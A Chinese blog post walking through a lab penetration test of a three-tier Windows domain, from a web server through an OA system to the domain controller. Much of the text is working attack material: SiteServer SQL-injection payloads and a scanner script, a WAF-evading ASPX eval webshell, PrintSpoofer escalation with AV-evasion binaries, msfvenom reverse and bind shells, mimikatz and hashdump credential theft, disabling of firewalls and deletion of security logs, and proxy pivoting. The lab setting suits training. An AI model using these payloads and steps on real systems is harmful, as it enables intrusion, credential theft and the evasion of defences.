投稿
  1. 极客之音首页
  2. 后端漫谈

三层网络防护的域渗透

飞熊 • • 后端漫谈 • 阅读 262

有目标就不怕路远。年轻人．无论你现在身在何方．重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船．任何方向的风对他来说都是逆风。因此，再遥远的旅程，只要有目标．就不怕路远。没有目标，哪来的劲头？一车尔尼雷夫斯基

导读：本篇文章讲解 三层网络防护的域渗透，希望对大家有帮助，欢迎收藏，转发！站点地址：www.bmabk.com，来源：原文

目录

环境准备

网络拓扑

网络拓扑如下：
在这里插入图片描述

配置网卡

由于虚拟机的地址已经写死，更改的话容易出现问题，因此直接新建vm18、vm19两块网卡，并指定如下的子网地址
在这里插入图片描述

对于web服务器，其中一块网卡设置为NAT模式，并固定死IP地址
在这里插入图片描述

网络联通性测试

  1. oa系统可以直接ping通DC
  2. oa机器，关闭防火墙，关闭360。发现web机器可以ping通oa机器，再恢复oa机器的安全防护。
  3. web机器可以ping通外网，可以ping通kali
  4. 拍个快照，结束

一些账号

可以使用下面账号登录系统，方便对网络联通性做测试

win2016 dc ：
administrator、!@#QWEasd123.
win2012 oa ：
administrator !@#Q123
​oa !@#Qz123
oa.attack.local
win2016-web：
administrator !@#QWE123

绑定host

192.168.239.114 www.moonlab.com

其他

确认web服务器的iis安全狗和服务器安全狗都开启了CC防护

目标

拿下DC，获取DC中的flag.txt

信息收集

nmap主机发现

nmap -sn 192.168.239.0/24

在这里插入图片描述

端口扫描

masscan端扫描
因为服务器上安全防护软件，因此扫描的速率不能太高

sudo masscan -p 1-65535 192.168.239.114 --rate=100

在这里插入图片描述

nmap端口信息探测

sudo nmap -A -p 80,6588,999,21,5985,3389 -sV 192.168.239.114 -oA nmapscan

在这里插入图片描述

美化扫描结果

这里整个花活，美化一下Nmap的扫描结果

  1. 新建一个文件夹，把nmap的扫描结果直接丢进去
  2. 把一个生成html的模板文件丢进去（删除后缀pdf即可）mode.xsl.pdf
  3. 执行命令：xsltproc -o nmap_scan.html mode.xsl nmapscan.xml
    1. nmap_scan.html是生成的报告名字
    2. mode.xsl是采用的模板
    3. nmapscan.xml是namp的扫描结果

在这里插入图片描述

  1. 生成样式如下

在这里插入图片描述

网站探测

访问之后啥也没有
在这里插入图片描述

指纹识别

whatweb www.moonlab.com

在这里插入图片描述

看到存在waf

WAF识别

看到网站存在安全狗
在这里插入图片描述

目录扫描

直接开扫是会gg的，毕竟开了CC防护
在这里插入图片描述

可以降低扫描速度，我偏不，在“绕WAF”（语雀地址、CSDN地址）中介绍过可以使用 **模拟爬虫+模拟用户 **的方式绕过安全狗的CC防护。

  1. 模拟爬虫即：把UA修改为百度等搜索引擎的爬虫UA
  2. 模拟爬虫即：修改请求头，尽量贴近真实

用BurpSuite来做这种事情太合适不过了。准备一个字典（删除PDF后缀即可）big.txt.pdf
在这里插入图片描述

在这里插入图片描述

对着301响应码的子目录访问一下，发现访问http://www.moonlab.com/siteserver会跳转到后台登录页面
在这里插入图片描述

siteserver 漏洞利用

经过网上搜索，查找到：https://github.com/johnniesong/w9scan/blob/master/plugins/2739.py
这里的利用代码可以进行测试。但是我又不想下载完整工具，更不想花时间研究它怎么用，所以直接改造一下代码。
获取到payload：

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

import requests

ps = [
    'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
    'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
    'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
    'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
    'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
    'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
    url = 'http://www.moonlab.com/' + p
    res = requests.get(url)

    # print(res.text)

    if res.status_code == 500 and "GAOJIMicrosoft" in res.text:
        print(url)
        print(res.text)
    # else:
    #     print('worng'+url)

在这里插入图片描述

测试一下，确实存在报错注入，获知数据库版本：Microsoft SQL Server 2008 R2 (SP2) – 10.50.4000.0 (X64)
在这里插入图片描述

绕狗注入

对上面的payload略作修改：

  1. 获取数据库名字：msmoonlab
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=db_name();%20--

在这里插入图片描述

  1. 获取数据库用户名：msmoonlab
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20user=~2;%20--

在这里插入图片描述

接下来的思路就是要拿账号密码，需要搭建一个cms环境，这里图省事，直接去web服务器上看下用户表里都是有哪些列

/****** Script for SelectTopNRows command from SSMS  ******/
SELECT TOP 1000 [UserName]
      ,[Password]
      ,[PasswordFormat]
      ,[PasswordSalt]
      ,[CreationDate]
      ,[LastActivityDate]
      ,[LastModuleID]
      ,[CountOfLogin]
      ,[CreatorUserName]
      ,[IsChecked]
      ,[IsLockedOut]
      ,[PublishmentSystemID]
      ,[DepartmentID]
      ,[AreaID]
      ,[DisplayName]
      ,[Question]
      ,[Answer]
      ,[Email]
      ,[Mobile]
      ,[Theme]
      ,[Language]
  FROM [msmoonlab].[msmoonlab].[bairong_Administrator]

在这里插入图片描述

  1. 接着绕狗，查到用户名admin
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20username%20from%20[bairong_Administrator]);%20--

在这里插入图片描述

  1. 获取密文：64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20password%20from%20[bairong_Administrator]);%20--

在这里插入图片描述

  1. 获取盐值：LIywB/zHFDTuEA1LU53Opg==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20PasswordSalt%20from%20[bairong_Administrator]);%20--

在这里插入图片描述

接下来就得下载网站的源码，通过反编译 dll 来试图找到用户的加密方法。这块不熟悉，还是换用别的思路吧，注意到网站后台登录页面有“忘记密码”选项的，看看有没有什么漏洞。

忘记密码

发现网站是通过填写问题答案找回密码的，可以试试把问题问题的答案置为空
在这里插入图片描述

在这里插入图片描述

然后就看到了账号密码
在这里插入图片描述

登录成功
在这里插入图片描述

上传木马

在“绕WAF”（语雀地址、CSDN地址）中介绍过 **变量覆盖+参数绕过 **可以绕狗，使用如下代码：

<%@ Page Language="Jscript"%>
<%

var a =Request.Item["c32as"];
a=a.Replace("moonmoonmoonmm","Response.Write");
//Response.Write(a);
eval(a,"unsafe");
%>

将此aspx格式的文件直接打包成zip，上传网站。网站会自动解压。
在这里插入图片描述

上传完成之后发现网站没啥变化，这个就有点尴尬，只能百度或者本地发件环境复现一下，看文件到底传哪了
http://www.moonlab.com/sitefiles/sitetemplates/c32as/c32as.aspx
出现的错误问题是代码导致的，不用管
在这里插入图片描述

连接菜刀，注意：
密码是c32as，编码类型是utf-8
在这里插入图片描述

getshell

  1. net start：查看系统上的服务

在这里插入图片描述

对提权有帮助的有：
MySQL、Print Spooler、SQL Server (MSSQLSERVER)
对渗透有障碍的：
Safedog Guard Center、SafeDogCloudHelper、Windows Defender Service、Windows Firewall

  1. 查看进程

使用在线工具https://maikefee.com/av_list分析tasklist /svc的执行结果
在这里插入图片描述

后渗透

提权

使用Print Spooler进行提权。项目地址：https://github.com/itm4n/PrintSpoofer
如果被杀的话，可以做一下免杀，参见之前的文章：PrintSpoofer免杀过360
或者直接使用附件中做过免杀的（删除.pdf后缀即可）PrintSpoofer1.exe.pdf
在这里插入图片描述

使用命令：PrintSpoofer1.exe -i -c "whoami"，已经提权成功
在这里插入图片描述

菜刀转msf

msf生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.141 LPORT=4444 -e x86/shikata_ga_nai -i 20 -f csharp -o payload.txt

在这里插入图片描述

Advanced AV Evasion免杀

处理细节参见之前的文章：https://www.yuque.com/u1881995/pborfs/hbmxvo

  1. 打开工具

在这里插入图片描述

MSF开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost  192.168.239.141
set lport 4444
exploit

获取session

投递免杀马，获取session

  1. 以system权限运行木马
PrintSpoofer1.exe -i -c "666.exe"
  1. 拿到system权限的session

在这里插入图片描述

进程迁移

迁移到X64的SYSTEM权限的进程中，方便获取hash值等操作
关于这部分详细的解释，参见之前的笔记“后渗透模块Meterpreter-系统口令”：https://www.yuque.com/u1881995/ytuylg/tfqni1#S2c8R

哈希明文

  1. 获取哈希值

可以使用：run post/windows/gather/smart_hashdump或者hashdump
获取到：

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc59579605ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e4378339c86952dd7dc23e1:::
  1. 明文信息收集

获取到账号：Administrator，密码：!@#QWE123

meterpreter > load kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain           NTLM                              SHA1
--------       ------           ----                              ----
Administrator  WIN-FHOQSB51A6Q  e7114141b0337bdce1aedf5594706205  ba0c330de294546637d42b5c42150ef05380fc66
MySQL_HWS      WIN-FHOQSB51A6Q  c5bf79ff3e413dd56c626aaed26431bb  7f56ec1544f97172e71f92b4375739645f6f9288
moonlab        WIN-FHOQSB51A6Q  16607206dae8e7ac67ccbbce40363686  4fa65b24e66ac648afba99b5571e148599913116

wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-FHOQSB51A6Q  !@#QWE123
MySQL_HWS         WIN-FHOQSB51A6Q  5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 0
                                   0 4a 00 32 00 68 00 4a 00 54 00 37 00 70 00 09 ff 54 00 37 00 70 00 39 00 55
                                    00 51 00 4a 00 4a 00 28 00
WIN-FHOQSB51A6Q$  WORKGROUP        (null)
moonlab           WIN-FHOQSB51A6Q  DvS6yrCjxq3sOQBnIGc

kerberos credentials
====================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-FHOQSB51A6Q  (null)
MySQL_HWS         WIN-FHOQSB51A6Q  (null)
moonlab           IIS APPPOOL      (null)
moonlab           WIN-FHOQSB51A6Q  (null)
win-fhoqsb51a6q$  WORKGROUP        (null)
  1. 其他命令：

kiwi_cmd sekurlsa::wdigest #整理出web服务器上的明文密码
kiwi_cmd sekurlsa::tspkg #这个命令的显示效果跟前者差不多
使用细节参见之前的文章：https://www.yuque.com/u1881995/xwfvho/axoplg#Gsiqg
​

注意：
如果是使用msf5攻击的话，是有mimikatz模块的，使用kerberos命令获取明文时，在win2016上是看不到明文内容的，如下图。需要修改注册表重启设备之后才行。
在这里插入图片描述

开放的端口-3389

使用netstat看到目标开放了3389端口，那就连接一下
被拒绝
在这里插入图片描述

纳尼(⊙o⊙)？用msf重开一下试试
在这里插入图片描述

连接失败
在这里插入图片描述

原因是目标选择了下图中的策略
在这里插入图片描述

可以使用相同版本的终端进行连接，或者使用 xfreerdp连接会自动加密，使用xfreerdp，由于目标的登录密码存在特殊字符，因此需要使用\对其转义

xfreerdp /f /u:Administrator /p:\!\@\#QWE123 /v:192.168.239.114

在这里插入图片描述

关闭防护

kali登录之后就把目标的防护全关了，安全狗的日志全删了并关闭安全狗，防火墙关了，系统的日志痕迹啥的，可以用msf清理，暂时不用管。
在这里插入图片描述

内网主机发现

  1. 扫描第一张网卡

由于NAT模式下只有kali和web服务器，因此NAT地址的主机发现可做可不做

run post/windows/gather/arp_scanner rhosts=192.168.239.0/24

在这里插入图片描述

  1. 扫描第二张网卡

方法1：使用ping命令
还是探测一下10.10.1.0/24的信息吧

for /l %i in (1,1,255) do @ ping 10.10.1.%i -w 1 -n 1|find /i "ttl="

个人觉得这玩意速度很慢，并且由于内网的OA机器开着防火墙和360全家桶，肯定也是ping不通的，从扫描结果中可以看到，根本没发现其他机器，只发现了自己和物理机的虚拟网卡地址
在这里插入图片描述

方法2：使用msf
还是arp扫描好用！发现了一台新设备，10.10.1.130，也就是OA办公系统。

run post/windows/gather/arp_scanner rhosts=10.10.1.0/24

在这里插入图片描述

配置路由

这里的操作，在“代理-内网跳板机”中介绍过，此处简单演示一遍

  1. 查看web服务器的网卡信息

查看网络接口信息：run get_local_subnets
查看活动路由列表：run autoroute -p
发现目标存在内网网段，并且没有路由信息
在这里插入图片描述

  1. 添加内网路由

run autoroute -s 10.10.1.0/24：以CIDR的方式添加路由信息
在这里插入图片描述

配置socks

在msf6中，一些设置发生了变化

  1. 配置socks_proxy，并运行

在这里插入图片描述

  1. 配置proxychains4.conf

发现，只有proxychains4.conf，没有proxychains.conf了
在这里插入图片描述

配置一下proxychains4.conf，最后一行添加socks5代理即可
在这里插入图片描述

攻击内网OA系统

端口扫描

先探测一下OA机器的端口开放情况

proxychains4 nmap -Pn -sT -sV 10.10.1.130 -F

只扫出来80端口，应该是防护软件在捣鬼。
在这里插入图片描述

还能咋办，直接看看目标的80端口
在这里插入图片描述

网上找到一个利用代码：https://github.com/wikiZ/tongda-exp-poc
根据使用说明，只能使用冰蝎连接
直接按照使用说明获取shell地址
在这里插入图片描述

getshell

  1. 冰蝎配置代理

冰蝎连接kali的代理
在这里插入图片描述

  1. 添加shell

在这里插入图片描述

  1. 尝试获取目标的信息，失败了。按回车键没反应。

在这里插入图片描述

  1. 尝试上传一个冰蝎马，来获取一个新的shell

根据虚拟终端中的地址，获知之前上传的后门位置，上传冰蝎自带的木马
在这里插入图片描述

继续失败
在这里插入图片描述

  1. 勇敢牛牛，不怕困难，换用蚁剑试试呢？

开启socks5代理，蚁剑连接试试，好的👌
在这里插入图片描述

信息收集

网络信息

网络信息收集，发现OA系统存在双网卡，存在一个 10.10.10.0网段
在这里插入图片描述

更详细的看一下，判断是否存在域的前两条命令被拒绝，使用查看完整网络信息的命令看到了域环境 attack.loca，指向的DNS服务器10.10.10.165大概率是域控

C:\myoa\webroot\ispirit\interface> net time /domain
发生系统错误 5。
拒绝访问。
 
C:\myoa\webroot\ispirit\interface> net config workstation 
发生系统错误 1312。
指定的登录会话不存在。可能已被终止。
 
C:\myoa\webroot\ispirit\interface> net view /domain
C:\myoa\webroot\ispirit\interface> ipconfig /all
Windows IP 配置
   主机名  . . . . . . . . . . . . . : oa
   主 DNS 后缀 . . . . . . . . . . . : attack.local
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : attack.local
以太网适配器 Ethernet1:
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Intel(R) 82574L 千兆网络连接 #2
   物理地址. . . . . . . . . . . . . : 00-0C-29-47-D3-5A
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::a0b1:f711:e40d:47f8%14(首选) 
   IPv4 地址 . . . . . . . . . . . . : 10.10.10.166(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 10.10.10.1
   DHCPv6 IAID . . . . . . . . . . . : 385879081
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-26-9F-13-D5-00-0C-29-47-D3-50
   DNS 服务器  . . . . . . . . . . . : 10.10.10.165
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用
以太网适配器 Ethernet0:
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Intel(R) 82574L 千兆网络连接
   物理地址. . . . . . . . . . . . . : 00-0C-29-47-D3-50
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
   本地链接 IPv6 地址. . . . . . . . : fe80::3137:32e9:7629:9c64%12(首选) 
   IPv4 地址 . . . . . . . . . . . . : 10.10.1.130(首选) 
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 10.10.1.1
   DHCPv6 IAID . . . . . . . . . . . : 301993001
   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-26-9F-13-D5-00-0C-29-47-D3-50
   DNS 服务器  . . . . . . . . . . . : 10.10.1.1
   TCPIP 上的 NetBIOS  . . . . . . . : 已启用
隧道适配器 isatap.{65E2E09E-FA68-4283-B44F-575D0D667970}:
   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter
   物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是
隧道适配器 isatap.{57F30C5E-D9D7-4A25-9F6F-715C5C9F544A}:
   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 
   描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #3
   物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP 已启用 . . . . . . . . . . . : 否
   自动配置已启用. . . . . . . . . . : 是

通网情况

不同外网
在这里插入图片描述

服务信息

查看服务，发现了360和 Windows Firewall
在这里插入图片描述

进程信息

查看进程tasklist /svc，发现了很多360的进程

端口信息

开放端口查询，看到开放的不止80端口
在这里插入图片描述

系统信息

查看系统信息，发现打了一大堆对丁，并且存在域环境attack.local
在这里插入图片描述

在这里插入图片描述

用户信息

在这里插入图片描述

小结

发现存在域环境 attack.loca，发现了一个新的网络环境10.10.10.0网段，并且DNS服务器是10.10.10.165，怀疑域控就是它。OA系统是不出网的。

关闭防火墙

netsh firewall show state                      // 防火墙状态
netsh firewall show config                     // 查看防火墙配置
netsh firewall set opmode disable              // 关闭防火墙（windows server 2003及以前）
netsh advfirewall set allprofiles state off    // 关闭防火墙（windows server 2003以后）需要管理员权限

关闭防火墙之后，再测试一下，已经可以扫描到445端口了，说明防火墙确实已经关闭。

proxychains4 nmap -Pn -sT 10.10.1.130 -p 445

在这里插入图片描述

蚁剑转msf

msf生成正向shellcode

msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -e x86/shikata_ga_nai -i 15 -f csharp -o payload_bind.txt

在这里插入图片描述

Advanced AV Evasion免杀

处理细节参见之前的文章：https://www.yuque.com/u1881995/pborfs/hbmxvo
在这里插入图片描述

本地测试，静态是过 360 的，运行程序的话，考虑到OA系统是不出网的，不好说。试试吧。

MSF开启监听

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130
set lport 6666
exploit

获取session

测试的时候，msf先开启监听，后运行木马，没有获取到session。暂停连接，重新发起exploit就获取到了session，猜测应该先运行木马，后开启监听会好些。

投递免杀马，获取session
在这里插入图片描述

在这里插入图片描述

进程迁移

迁移到一个X64的SYSTEM权限的进程中

哈希明文

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:357bec0ee1f524c62ba536fcd3f74472:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

获取不到明文密码

meterpreter > load kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username  Domain  NTLM                              SHA1
--------  ------  ----                              ----
OA$       ATTACK  a82df74b59c817631d7094e74133bbe1  54f4cabf601d89ca6221d216c7d31c924ab6cdfd

wdigest credentials
===================

Username  Domain  Password
--------  ------  --------
(null)    (null)  (null)
OA$       ATTACK  (null)

kerberos credentials
====================

Username  Domain        Password
--------  ------        --------
(null)    (null)        (null)
OA$       attack.local  eN(IZ+F/OMzO-2f-!XoD8 IRsPB4R"Q8iso\zm6p^jl?h4R;vnI!:ec5Bf\`,+JTqfKiD_s >DgptQgiR+v-\58\
                        ;E#Z?fl& ,Wr\\06_M;LKeKh8T62\DHw
oa$       attack.local  eN(IZ+F/OMzO-2f-!XoD8 IRsPB4R"Q8iso\zm6p^jl?h4R;vnI!:ec5Bf\`,+JTqfKiD_s >DgptQgiR+v-\58\
                        ;E#Z?fl& ,Wr\\06_M;LKeKh8T62\DHw
oa$       ATTACK.LOCAL  eN(IZ+F/OMzO-2f-!XoD8 IRsPB4R"Q8iso\zm6p^jl?h4R;vnI!:ec5Bf\`,+JTqfKiD_s >DgptQgiR+v-\58\
                        ;E#Z?fl& ,Wr\\06_M;LKeKh8T62\DHw

定位域控

在“信息收集-网络信息”中，尝试过获取域信息，失败了。即：webshell中不能获取域控信息。那么这里使用meterpreter中的shell再试着获取一下。
shell也是失败，其他关于域信息的cmd命令也是失败。还是用meterpreter吧。

meterpreter > run post/windows/gather/enum_domain

[+] FOUND Domain: attack
[+] FOUND Domain Controller: dc (IP: 10.10.10.165)

在这里插入图片描述

获取登录用户信息

先用shell看了一下users目录，发现有域用户登录过
在这里插入图片描述

接下来就是要查看一下登录用户的相关信息，使用命令……呃……还是查一下吧
run后门用tab键补全一下，有500多个命令，全部复制下来，然后搜索一下login找到一个命令
在这里插入图片描述

找到命令：run post/windows/gather/enum_logged_on_users
在这里插入图片描述

其他信息获取失败，应该是被360给拒绝了。不收集了，直接干架吧。

窃取DC token

试着窃取一下DC的token连接DC，使用dir \\dc\c$访问被拒绝了

steal_token 4312	# 窃取权限
rev2self		# 取消窃取的权限

在这里插入图片描述

配置路由

这里的操作，在“代理-内网跳板机”中介绍过，此处简单演示一遍

  1. 查看web服务器的网卡信息

查看网络接口信息：run get_local_subnets
查看活动路由列表：run autoroute -p
发现目标存在内网网段，并且没有路由信息
在这里插入图片描述

  1. 添加内网路由

run autoroute -s 10.10.10.0/24：以CIDR的方式添加路由信息
在这里插入图片描述

域控一般开放88端口，测试一下，可以

proxychains4 nmap -Pn -sT 10.10.10.165 -p 88

在这里插入图片描述

攻击DC

端口扫描

这里不用-F扫描常见的100个端口了，速度太慢，手动挑选一些端口扫描一下看看

proxychains nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,88,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

在这里插入图片描述

窃取SID信息

很无语，一旦窃取就掉线，木得办法，上传一个免杀的Mimikatz吧，其次也是一些Mimikatz里的东西，在kiwi里面没有，就换用Mimikatz吧
在这里插入图片描述

免杀Mimikatz

网上找了一个项目：https://github.com/ssssanr/Mimikatz-Csharp
呃，，，，，再次凉凉。PTH就别想了。
在这里插入图片描述

获取哈希明文

还是得回过头来捋一捋，kiwi中dcsync_ntlm命令用不了，别的呢？要不试试kiwi直接获取哈希明文啥的？这里看到了管理员的NTLM：15132c3d36a7e5d7905e02b478979046，破解一下。

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain  NTLM                              SHA1
--------       ------  ----                              ----
Administrator  ATTACK  15132c3d36a7e5d7905e02b478979046  124598913a74529077fbbe1dcdf268e2c1c50364
OA$            ATTACK  a82df74b59c817631d7094e74133bbe1  54f4cabf601d89ca6221d216c7d31c924ab6cdfd

wdigest credentials
===================

Username       Domain  Password
--------       ------  --------
(null)         (null)  (null)
Administrator  ATTACK  (null)
OA$            ATTACK  (null)

kerberos credentials
====================

Username       Domain        Password
--------       ------        --------
(null)         (null)        (null)
OA$            attack.local  eN(IZ+F/OMzO-2f-!XoD8 IRsPB4R"Q8iso\zm6p^jl?h4R;vnI!:ec5Bf\`,+JTqfKiD_s >DgptQgiR
                             +v-\58\;E#Z?fl& ,Wr\\06_M;LKeKh8T62\DHw
administrator  ATTACK.LOCAL  (null)
oa$            ATTACK.LOCAL  (null)

在这里插入图片描述

破解NTLM

拿到管理员的密码：!@#QWEasd123.
在这里插入图片描述

3389连接DC

被拒绝了，试试使用windows电脑呢？
在这里插入图片描述

使用SocksCap64代理windows远程桌面

添加方法：https://blog.vps77.com/207.html
在这里插入图片描述

测试一下，没问题
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

呃，跟之前连接web服务器的情况一样，看样子还得使用xfreerdp

xfreerdp连接内网DC

proxychains4 xfreerdp /f /u:administrator /p:\!\@\#QWEasd123. /v:10.10.10.165

在这里插入图片描述

套娃

由于使用msf配了路由，因此可以试试web服务器连接DC。
远程桌面连接web服务器，在web服务器上远程桌面连接DC
在这里插入图片描述

​

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。

文章由极客之音整理，本文链接：https://www.bmabk.com/index.php/post/134262.html

赞 (0)
飞熊的头像飞熊bm
0 0

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站，欢迎收藏到浏览器，订阅我们！